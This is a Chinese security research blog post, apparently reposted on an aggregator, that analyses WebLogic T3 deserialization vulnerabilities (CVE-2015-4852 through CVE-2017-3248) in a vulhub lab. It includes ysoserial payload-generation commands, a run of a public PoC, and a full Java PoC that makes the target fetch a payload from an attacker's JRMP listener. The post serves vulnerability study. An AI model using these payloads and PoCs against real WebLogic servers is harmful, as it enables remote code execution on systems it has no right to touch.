【Weblogic T3协议】反序列化漏洞分析(上)

news/2025/1/12 18:08:44/文章来源:https://www.cnblogs.com/o-O-oO/p/18667141

免责声明

此文章中所涉及的技术、思路和工具仅供网络安全学习为目的,不得以盈利为目的或非法利用,否则后果自行承担!

一、前言

在初入安全的时候,就听说过weblogic的大名,当然听说的并不是weblogic如何如何好用,而是因为其漏洞出现频率实在是有点高...于是乎,便抱着学习的心态跟了跟weblogic的一些漏洞,也就有了这篇文章。

在分析weblogic这个中间件的系列漏洞前,我们需要了解一下什么是中间件,什么是weblogic,以及它的作用是什么。

那么,什么是中间件呢?中间件是为应用提供常见服务与功能的软件和云服务,可以帮助开发和运维人员更高效地构建和部署应用。中间件就相当于是应用、数据与用户之间的纽带,从广义上讲,中间件涵盖了从 Web 服务器,到身份验证系统,再到消息传递工具等一切内容。参考知乎的一条高赞回答:中间件就是将具体业务和底层逻辑解耦的组件,类似于中介的作用。

关于weblogic,oracle官方给出的简介是这样的:Oracle WebLogic Server 是一个统一的可扩展平台,专用于开发、部署和运行 Java 应用等适用于本地环境和云环境的企业应用。它提供了一种强健、成熟和可扩展的 Java Enterprise Edition (EE) 和 Jakarta EE 实施方式。

Oracle还提出了融合中间件的概念,实际上,Weblogic是组成Oracle融合中间件的核心,几乎所有的Oracle融合中间件产品都需要运行Weblogic Service。本文主要是分析漏洞,因此不做过多介绍,对此感兴趣的读者可自行查阅相关文档。

二、Weblogic的版本

在分析漏洞前,我们需要了解weblogic都有哪些版本,weblogic当前最新版本为14.1.1.0,中间跳过了13这个版本,其版本众多,但是常见的版本主要是10.x 以及 12.x。10.x版本主要常见的为10.3.6,而12.x版本较多,有12.1.3 , 12.2.1.2 , 12.2.1.4等。
这些版本对jdk的支持情况都不大一样:

10.3.6最低支持的JDK版本为1.6

12.1.3最低支持的JDK版本为1.7

12.2.1及以上最低支持的JDK版本为1.8

由于支持的JDK版本不同,并且Weblogic各个版本依赖的jar包版本不同,因此其反序列化的利用方式都不尽相同。

三、T3协议

T3协议是weblogic用于通信的协议,类似于RMI的JRMP,JRMP协议是rmi默认使用的协议,而T3协议是weblogic独有的协议,weblogic对RMI规范的实现使用了T3协议(rmi默认使用 JRMP协议)。T3协议被优化用于高性能的应用场景,特别是在大量并发连接和高负载的环境下。它通过减少网络开销和提高数据传输效率来提升整体性能。

T3协议结构分为分为请求头和请求体。

其数据包大致分为:【图片取自http://drops.xmd5.com/static/drops/web-13470.html】

这里我们看看T3协议的数据包是什么样的:

可以看到,最开始的时候,就是t3协议的请求头,也就是

t3 12.2.1AS:255HL:19MS:10000000PU:t3://us-l-breens:7001

在发送完初始化数据包后,即开始发送请求主主体,包括:

第一部分以及后续的序列化数据。

因此,生成恶意payload有两种方式:

1、将序列化数据中的任意一段进行替换

2、直接将恶意序列化数据拼接到第一段(也就是包含了请求体长度的那段)后面

四、环境搭建

使用vulhub来进行环境搭建,地址:

https://github.com/vulhub/vulhub/tree/master/weblogic/CVE-2017-10271

之后修改一下docker-compose.yml文件,将8453端口映射出来,方便IDEA调试。

由于此docker环境的weblogic版本是10.3.6的,因此下面的漏洞都可以使用这个版本的环境进行复现分析。

之后:

docker exec -it [容器id] /bin/bash
vi ~/Oracle/Middleware/user_projects/domains/base_domain/bin/setDomainEnv.sh开头加上debugFlag="true" export debugFlag
之后重启容器:
sudo docker restart [容器id]
把容器的文件copy出来:
docker cp [容器id]:/root .

随即配置idea远程调试
将上述拷贝出的目录/root/Oracle/Middleware/wlserver_10.3
找到server下的modules文件夹,并添加为libraies
通过/root/Oracle/Middleware/user_projects/domains/base_domain/startWebLogic.sh 启动weblogic后,访问7001端口,出现404错误代表搭建成功:

五、CVE-2015-4852

使用网上的poc打一下,链接:

https://github.com/breenmachine/JavaUnserializeExploits/blob/master/weblogic.py

在打poc之前,需要先生成恶意的反序列化文件,这里使用ysoserial来生成:

java -jar ysoserial.jar CommonsCollections1 "touch /tmp/test.txt" > ./payloadTouchFile.tmp

生成文件后,执行:

python2 ./CVE-2015-4852.py 192.168.13.131 7001 ./payloadTouchFile.tmp

参数1为weblogic地址,参数2为端口,参数3为所需要执行的恶意反序列化字节码
执行后,在docker中看一下tmp文件夹中的文件:

文件成功创建。
在反序列化时,weblogic会抛出异常,但是并不影响反序列化执行恶意代码。

在/wlserver_10.3/server/lib/weblogic.jar!/weblogic/wsee/jaxws/WLSServletAdapter.class 下断点进行调试。
不过既然是反序列化,并且weblogic自带CC依赖,直接在CC链触发的地方下好断点,之后打个exp,或者由于反序列化会产生异常,在idea配置好远程debug后,下异常断点,打POC进行调试也也是可以的。
这里先附上一张堆栈图:

entrySet:-1, $Proxy57 (com.sun.proxy)
readObject:328, AnnotationInvocationHandler (sun.reflect.annotation)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:39, NativeMethodAccessorImpl (sun.reflect)
invoke:25, DelegatingMethodAccessorImpl (sun.reflect)
invoke:597, Method (java.lang.reflect)
invokeReadObject:969, ObjectStreamClass (java.io)
readSerialData:1871, ObjectInputStream (java.io)
readOrdinaryObject:1775, ObjectInputStream (java.io)
readObject0:1327, ObjectInputStream (java.io)
readObject:349, ObjectInputStream (java.io)
readObject:66, InboundMsgAbbrev (weblogic.rjvm)
read:38, InboundMsgAbbrev (weblogic.rjvm)
readMsgAbbrevs:283, MsgAbbrevJVMConnection (weblogic.rjvm)
init:213, MsgAbbrevInputStream (weblogic.rjvm)
dispatch:498, MsgAbbrevJVMConnection (weblogic.rjvm)
dispatch:330, MuxableSocketT3 (weblogic.rjvm.t3)
dispatch:387, BaseAbstractMuxableSocket (weblogic.socket)
readReadySocketOnce:967, SocketMuxer (weblogic.socket)
readReadySocket:899, SocketMuxer (weblogic.socket)
processSockets:130, PosixSocketMuxer (weblogic.socket)
run:29, SocketReaderRequest (weblogic.socket)
execute:42, SocketReaderRequest (weblogic.socket)
execute:145, ExecuteThread (weblogic.kernel)
run:117, ExecuteThread (weblogic.kernel)

在dispatch:330, MuxableSocketT3 (weblogic.rjvm.t3) , 就已经识别出了这是一个t3协议的请求,往下都是socket建立连接的过程。
先来看一下weblogic是如何判断T3协议的:
在isMessageComplete:83, MuxableSocketDiscriminator (weblogic.socket)中,会对当前的socket连接进行判断:

这里就是循环遍历this.handlers中的内容,并通过handler的claimSocket方法,通过this.head来判断当前socket连接是什么请求:

一共支持五种协议
跟进上述的var3.claimSocket(this.head):
跟进上述的var3.claimSocket(this.head):

    public boolean claimSocket(Chunk var1) {return this.claimSocket(var1, "t3");}

看一下var1是什么东东:

就是咱们发送给服务端的数据包。
之后调用了:

    boolean claimSocket(Chunk var1, String var2) {int var3 = var2.length();if (var1.end < var3 + 1) {return false;} else {byte[] var4 = var1.buf;for(int var5 = 0; var5 < var3; ++var5) {if (var4[var5] != var2.charAt(var5)) {return false;}}if (var4[var3] != 32) {return false;} else {return true;}}}

这里就是通过 var4[var5]!=var2.charAt(var5)判断数据包开头是不是t3,如果是,则进入t3协议的处理流程;【还需要满足var4[var3] != 32】。
如果满足了该条件,则将this.claimedIndex赋值为var2,也就是this.handlers的索引。
获取到协议类型后,通过 var1.dispatch(); , 根据协议将请求分发给不同的处理handler:

这里获取到的var1就是t3。
之后经过了一个过滤函数:

这里条件不满足:

随即创建一个MuxableSocketT3。
之后通过this.isSecure来判断当前请求是否为SSL请求,这里T3协议请求不是SSL请求,跳过执行。
之后将原来的socket对象替换为t3协议的socket对象:

之后判断消息是否发送完成,之后进入dispatch方法:

之后便是一路调用dispatch来处理T3协议的请求,一路dispatch到MuxableSocketT3中:

这里有走到 weblogic.rjvm.MsgAbbrevJvmConnection.dispatch():

    public final void dispatch(Chunk var1) {this.waitForPeergone();++this.messagesReceived;this.bytesReceived += (long)Chunk.size(var1);this.bytesReceived += 4L;ConnectionManager var2 = this.getDispatcher();if (var2 != null) {MsgAbbrevInputStream var3 = null;try {var3 = var2.getInputStream();var3.init(var1, this);} catch (Exception var6) {RJVMLogger.logUnmarshal(var6);UnmarshalException var5 = new UnmarshalException("Incoming message header or abbreviation processing failed ", var6);this.gotExceptionReceiving(var5);return;}var2.dispatch(this, var3);}}

这里的var1就是T3协议数据。
var3为this.getDispatcher().getInputStream() , 实际上为MsgAbbrevInputStream。
之后初始化的时候,将参数var1传递了进去。
之后在init的时候调用了MsgAbbrevJVMConnection.readMsgAbbrevs(this):

readMsgAbbrevs又调用了InboundMsgAbbrev.read():

InboundMsgAbbrev.read()直接调用了this.readObject(var1) 直接反序列化而没有做任何处理:

在InboundMsgAbbrev.read()中,又调用了ServerChannelInputStream.readObject():

ServerChannelInputStream为一个内部私有类,继承自ObjectInputStream,上图实际上调用的就是ObjectInputStream.readObject。

至此,该漏洞形成原因分析完毕,实际上就是weblogic在处理T3协议的时候,会直接将T3协议的数据直接进行反序列化,而没有经过任何过滤。并且weblogic还自带了CC链的依赖,更方便了利用。

到这里,继续往下分析的话就到了CC链,本文着重讲Weblogic的漏洞,与CC链有关知识可自行查阅。

之后的修复补丁则是加了个黑名单:

之后的后续几个漏洞,都是对于这个黑名单的绕过,如CVE-2016-0638、CVE-2016-3510。

六、CVE-2016-0638 - T3协议反序列化绕过

CVE-2016-0638就是CVE-2015-4852漏洞的入口点从ServerChannelInputStream.readObject()直接反序列化CC链,改为了ServerChannelInputStream.readObject()反序列化weblogic.jms.common.StreamMessageImpl的ReadExternal中的InputStream(二次反序列化),StreamMessageImpl在反序列化的时候,(Java的readObject方法会调用readExternal方法)在readExternal方法中创建自己的InputStream对象,最后调用这个创建的InputStream方法的readObject方法进行二次反序列化,从而导致了绕过之前的黑名单。

【调用链】大致为:StreamMessageImpl.readObject()⏩ StreamMessageImpl.readExternal ⏩ new InputStream() 读取序列化对象 ⏩InputStream.readObject()。

七、CVE-2016-3510 -- T3协议反序列化绕过

CVE-2016-3510所使用的类为:MarshalledObject。

原理简介:MarshalledObject的readResolve方法会进行二次反序列化。

readResolve 本来就是通过反序列化而调用的 , Java在反序列化时 ,会调用 readResolve、 readExternal等方法。

【调用链】大致为:MarshalledObject.readObject ⏩ MarshalledObject.readResolve() ⏩ new InputStream()读取序列化对象 ⏩ InputStream.readObject()反序列化恶意数据。

八、CVE-2017-3248 -- T3协议反序列化绕过

CVE-2017-3248与上述稍有些不一样,但是也是绕过黑名单导致的漏洞。该漏洞使用了代理类来进行绕过。
利用的时候,需要先搭建JRMP服务(这里使用ysosuserial来搭建):

java -cp ysoserial.jar ysoserial.exploit.JRMPListener 9999 CommonsCollections1 "touch /tmp/2017Success"

搭建好JRMP后,需要构造发送给服务端的恶意序列化数据,该漏洞使用的是RemoteObjectInvocationHandler类来进行绕过。

如何封装传递给Client端(这里也就是目标Weblogic服务器)的恶意对象的整体流程大致如下:

ObjID id = new ObjID(new Random().nextInt()); 
TCPEndpoint te = new TCPEndpoint("192.168.13.1", 9999);
UnicastRef ref = new UnicastRef(new LiveRef(id, te, false));
RemoteObjectInvocationHandler obj = new RemoteObjectInvocationHandler(ref);
(Registry)Proxy.newProxyInstance(CurrentClassName.class.getClassLoader(), new Class[]{Registry.class}, obj);

Proxy.newProxyInstance方法用于创建一个动态代理对象。这个方法允许在运行时创建实现一个或多个接口的代理对象,并指定一个处理所有方法调用的处理器,也就是上面创建的RemoteObjectInvocationHandler 对象。

完整JavaPOC如下:

package main;import com.supeream.serial.Serializables;
import com.supeream.weblogic.T3ProtocolOperation;
import sun.rmi.server.UnicastRef;
import sun.rmi.transport.LiveRef;
import sun.rmi.transport.tcp.TCPEndpoint;
import java.lang.reflect.Proxy;
import java.rmi.registry.Registry;
import java.rmi.server.ObjID;
import java.rmi.server.RemoteObjectInvocationHandler;
import java.util.Random;public class cve_2017_3248 {public Object getObject(){ObjID id = new ObjID(new Random().nextInt()); // RMI registryTCPEndpoint te = new TCPEndpoint("192.168.13.1", 9999);UnicastRef ref = new UnicastRef(new LiveRef(id, te, false));RemoteObjectInvocationHandler obj = new RemoteObjectInvocationHandler(ref);Registry proxy = (Registry)Proxy.newProxyInstance(cve_2017_3248.class.getClassLoader(), new Class[]{Registry.class}, obj);return proxy;}public static void main(String[] args) throws Exception {Object obj = new cve_2017_3248().getObject();byte[] payload2 = Serializables.serialize(obj);T3ProtocolOperation.send("192.168.13.131", "7001", payload2);}
}

这里导入的 com.supeream.serial.Serializables; 为github开源项目,地址为:https://github.com/5up3rc/weblogic_cmd

之后执行POC,发送恶意的T3协议数据,weblogic服务端收到恶意数据后,会对这些数据进行反序列化,最终在UnicastRef.invoke()方法中造成反序列化漏洞。

漏洞分析:

这里的漏洞触发点与上述一样,同样是T3协议造成的,堆栈图如下:

在 weblogic.rjvm.InboundMsgAbbrev.read中调用了this.readObject(),也就是InboundMsgAbbrev.readObject():

这里又调用了ServerChannelInputStream,之前提到过,weblogic对于这些反序列化的漏洞都是在类似这些地方加的黑名单;而ServerChannelInputStream继承自ObjectInputStream,这里修复了之前的漏洞,重写了readObject方法并对黑名单中的类进行了过滤;但是这里的类RemoteObjectInvocationHandler绕过了黑名单限制。

绕过黑名单限制之后,就是ObjectStreamClass的一些常规反序列化操作,一直执行到RemoteObjectInvocationHandler.readObject:

而RemoteObjectInvocationHandler没有实现readObject方法,因此实际上调用的是其父类RemoteObject的readObject方法,方法中,先检测refClassName是否为空,为空则直接反序列化输入的ObjectInputStream,不为空则动态加载sun.rmi.server+refClassName,这里实际上加载的是sun.rmi.server.UnicastRef。最后调用了ref.readExternal(in)方法:

这里调用了LiveRef.read()方法:

获取了var2,也就是指定的JRMP远程地址;之后将var2传递给DGCClient.registerRefs():

该函数发送了获取了DGCImpl_Stub:

之后调用var2.registerRefs(var1),该函数的关键在this.makeDirtyCall(var2, var3);
先调用了

DGCClient.EndpointEntry.lookup函数,并返回了EndPointEntry对象:

返回后,调用了while循环语句中的var2.registerRefs(var1):

函数内容如下:

  public boolean registerRefs(List var1) {assert !Thread.holdsLock(this);HashSet var2 = null;long var3;synchronized(this) {if (this.removed) {return false;}LiveRef var7;RefEntry var8;for(Iterator var6 = var1.iterator(); var6.hasNext(); var8.addInstanceToRefSet(var7)) {var7 = (LiveRef)var6.next();assert var7.getEndpoint().equals(this.endpoint);var8 = (RefEntry)this.refTable.get(var7);if (var8 == null) {LiveRef var9 = (LiveRef)var7.clone();var8 = new RefEntry(var9);this.refTable.put(var9, var8);if (var2 == null) {var2 = new HashSet(5);}var2.add(var8);}}if (var2 == null) {return true;}var2.addAll(this.invalidRefs);this.invalidRefs.clear();var3 = DGCClient.getNextSequenceNum();}this.makeDirtyCall(var2, var3);return true;}

该函数的关键在40行的this.makeDirtyCall(var2, var3);
在函数makeDirtyCall中,通过 Lease var7 = this.dgc.dirty(var4, var2, new Lease(DGCClient.vmid, DGCClient.leaseValue)); 来执行JRPM请求:

这里的this.dgc为sun.rmi.transport.DGCImpl_Stub函数内容如下:

在newCall中:

建立了tcp链接。
回到dirty方法,在调用this.ref.invoke()的时候(也就是UnicastRef.invoke),调用了var1.executeCall():

在executeCall方法中,直接调用了this.in.readObject()来进行反序列化:

总结

由于在weblogic中RMI使用的协议为weblogic自己实现的T3协议,因此在不影响自身业务的情况下,weblogic官方对于新漏洞的修复只能是不断添加黑名单。虽然这种修复方式对于新出的漏洞立竿见影,但是对于其绕过方式就没有任何效果了,这也是为什么weblogic的反序列化漏洞层出不穷的原因。

参考链接

https://www.oracle.com/cn/java/weblogic/
http://drops.xmd5.com/static/drops/web-13470.html
https://www.freebuf.com/vuls/369272.html
https://www.cnblogs.com/nice0e3/p/14201884.html

此文章原创作者为源鲁安全实验室,转载请注明出处!

关于源鲁安全实验室

源鲁安全实验室,是一支以攻防研究为核心的安全团队,团队成员来源于一线攻防团队,安全研究团队。研究方向涉及WEB安全,APP安全,漏洞研究,代码审计,内网渗透,二进制,安全产品研究等多个领域,致力为客户提供一流的服务,保障客户业务安全。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.hqwc.cn/news/868282.html

如若内容造成侵权/违法违规/事实不符,请联系编程知识网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

关于安卓edge无法播放Wordpress上传的mp4视频问题

使用默认插件上传后,电脑端可以播放视频,其他手机浏览器均可播放视频,但是安卓edge无法加载视频。 大概是如下图样子:经查发现电脑打开页面会显示站点部分不安全的提示,说明edge端做了一些阻挡处理,导致视频无法播放。找了一些资料后,发现可以自行修改加载视频的代码框架…

【bt下载软件qBittorrent-增强版】下载链接

原作者github项目地址:https://github.com/c0re100/qBittorrent-Enhanced-Edition 找到当前的最新版本根据自身需要选择下载版本,这里选的是windows版本

鸟哥的Linux私房菜 基础学习篇 第四版PDF、EPUB免费下载

Linux入门书升级版,适用Linux系统应用和开发及运维的人员,涵盖linux内核,命令行,嵌入式,基于CentOS,7.x适读人群 :Linux初学者 适合Linux管理员作为参考手册 Linux入门书升级版,适用Linux系统应用和开发及运维的人员,涵盖linux内核,命令行,嵌入式,基于CentOS,7.x电…

领域驱动设计:软件核心复杂性应对之道(修订版)PDF、EPUB免费下载

本书是领域驱动设计方面的经典之作,修订版更是对之前出版的中文版进行了全面的修订和完善。全书围绕着设计和开发实践,结合若干真实的项目案例,向读者阐述如何在真实的软件开发中应用领域驱动设计。书中给出了领域驱动设计的系统化方法,并将人们普遍接受的一些实践综合到一…

JAVA之集合

1、集合集合可以存储引用数据类型; 集合不可以存储基本数据类型,若要存储,需封装成包装类;2、集合和数组的对比长度【数组长度固定,集合长度可变】 存储类型【数组可以存基本数据类型和引用数据类型,集合可以存引用数据类型,若存储基本数据类型,需封装成包装类】3、Arr…

[题目记录]P9999 [Ynoi2000] tmostnrq

当前自己写过了码量第二大的题目 , 不管怎么说对拍非常重要 .P9999 [Ynoi2000] tmostnrq 题意 给定 \(n\) 个顶点的树,顶点编号为 \(1,\dots,n\),给定长度 \(n_0\) 的序列 \(a_1,\dots,a_{n_0}\),共 \(m\) 次查询,每次查询给定 \(l,r,x\),问树的顶点 \(x\),依次向 \(a_l,…

多光谱火焰智能监测摄像机

多光谱火焰智能监测摄像机将在未来继续发展。未来的摄像机可能会更加智能化,具备更强的自主识别和决策能力,进一步提升火灾监测的灵敏度和准确性。此外,随着物联网的发展,这些摄像机还有望与其他设备和系统实现更深入的数据共享和集成应用,为整个安全监控体系增添新的可能…

明火智能监测摄像机

明火智能监测摄像机检测到火源时,它会立即触发报警机制,以警告人员采取适当的行动。它可以与各种报警系统集成,发出清晰可闻的警报声,并通过网络将警报信息发送到相关部门或人员的手机应用程序,确保快速响应。明火智能监测摄像机全天候工作,不间断地监测环境中的火情。它…

山体滑坡自动监测识别摄像机

山体滑坡自动监测识别摄像机系统通过技术创新和智能化应用,为减少自然灾害带来的损失和风险提供了重要的技术手段和支持。随着技术的进步和系统的完善,相信这类系统将在全球范围内得到广泛应用,为社会公共安全和环境保护作出更大贡献。对于现代社会而言,山体滑坡作为自然灾…

水位智能监测识别摄像机

水位智能监测识别摄像机的应用前景十分广阔。未来,这些摄像机有望进一步提升监测精度和反应速度,扩展到更多复杂的水域环境和特殊应用场景中,为保障社会公共安全和生态环境做出更大贡献。总之,水位智能监测识别摄像机以其先进的技术和多功能性能,正在成为水域监测领域的重…

1.12 CW 模拟赛 T1. 括号序列

思路 根据赛时的检验, 典型的动点问题的 \(\rm{trick}\) 并不能在这里使用, 也就是说, 分类讨论前缀 + \(i\) + 后缀 前缀 + \(i\) 后缀 + \(i\)是不可行的 考虑括号串问题的常见做法, 先将其赋值成 \(1, -1\) 之后进行处理 你发现这种做法有枚举字段和的瓶颈, 所以也不可行 当…

【Docker】Docker搭建一款开源的RAG聊天应用

项目介绍 Kotaemon是一个由Cinnamon开发的开源项目,旨在提供一个基于检索增强生成(RAG)技术的用户界面,使用户能够与自己的文档进行交互问答。 功能特点 文档问答:Kotaemon允许用户通过自然语言查询与文档进行交互,快速获取所需信息。这一功能在学术研究、企业文档管理等…